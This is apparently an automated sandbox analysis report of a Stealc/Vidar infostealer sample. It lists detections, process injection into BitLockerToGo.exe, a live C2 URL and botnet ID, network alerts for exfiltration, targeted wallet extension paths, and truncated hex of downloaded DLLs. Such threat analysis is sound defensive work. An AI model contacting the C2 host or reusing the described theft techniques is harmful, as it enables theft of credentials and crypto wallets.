Edit tour

Windows Analysis Report
5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Overview

General Information

Sample name:	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe
Analysis ID:	1538409
MD5:	217e6aff108174a9a90022c19f8e5f8f
SHA1:	a46822575426c3fac79c55f9cf9f8adb907ec58b
SHA256:	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717ceebaa28e2f865471e6
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe (PID: 2140 cmdline: "C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe" MD5: 217E6AFF108174A9A90022C19F8E5F8F)

BitLockerToGo.exe (PID: 2736 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://147.45.44.221/28166bd28a5d19e6.php", "Botnet": "nfzeonwcituc"}

Threatname: Vidar

{"C2 url": "http://147.45.44.221/28166bd28a5d19e6.php", "Botnet": "nfzeonwcituc"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1843071659.0000000002500000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.1843071659.0000000002418000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1842034533.00000000021D6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1843071659.000000000227A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1843071659.00000000023CA000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1843071659.0000000002466000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.1843071659.000000000232E000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe PID: 2140	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2736	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2736	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2736	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.BitLockerToGo.exe.2750000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.227a000.5.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.2418000.3.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.23ca000.4.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.23ca000.4.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.227a000.5.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.2418000.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.BitLockerToGo.exe.2750000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:18.076775+0200	2044245	1	Malware Command and Control Activity Detected	147.45.44.221	80	192.168.2.4	49732	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:18.070651+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49732	147.45.44.221	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:18.325741+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49732	147.45.44.221	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:33.801751+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49732	147.45.44.221	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:18.905321+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49732	147.45.44.221	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:18.332442+0200	2044247	1	Malware Command and Control Activity Detected	147.45.44.221	80	192.168.2.4	49732	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:17.815806+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49732	147.45.44.221	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T08:47:19.968265+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:26.005541+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:27.705002+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:28.963477+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:29.735457+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:31.542241+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:32.089369+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	147.45.44.221	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1843071659.0000000002418000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://147.45.44.221/28166bd28a5d19e6.php", "Botnet": "nfzeonwcituc"}
Source: 00000000.00000002.1843071659.0000000002418000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://147.45.44.221/28166bd28a5d19e6.php", "Botnet": "nfzeonwcituc"}

Multi AV Scanner detection for submitted file

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	ReversingLabs: Detection: 52%
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02759B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	1_2_02759B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02757240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_02757240
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02759AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_02759AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02768EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_02768EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275C820 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	1_2_0275C820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C806C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6C806C80

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: BitLockerToGo.exe, 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: BitLockerToGo.pdb source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000002.1843071659.000000000223F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: BitLockerToGo.exe, 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000002.1843071659.000000000223F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0275BE70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_027516D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_027516D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0275F6B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02763EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_02763EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0275DA80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0275E430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02764910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_02764910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0275DE10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_027638B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_027638B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_02764570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_02764570
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0275ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0275ED20

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49732 -> 147.45.44.221:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49732 -> 147.45.44.221:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 147.45.44.221:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49732 -> 147.45.44.221:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.44.221:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49732 -> 147.45.44.221:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49732 -> 147.45.44.221:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://147.45.44.221/28166bd28a5d19e6.php
Source: Malware configuration extractor	URLs: http://147.45.44.221/28166bd28a5d19e6.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 12:30:30 GMTETag: "10e436-5e7ed3ec64580"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Oct 2024 06:47:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "a7550-5e7ea271b0900"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 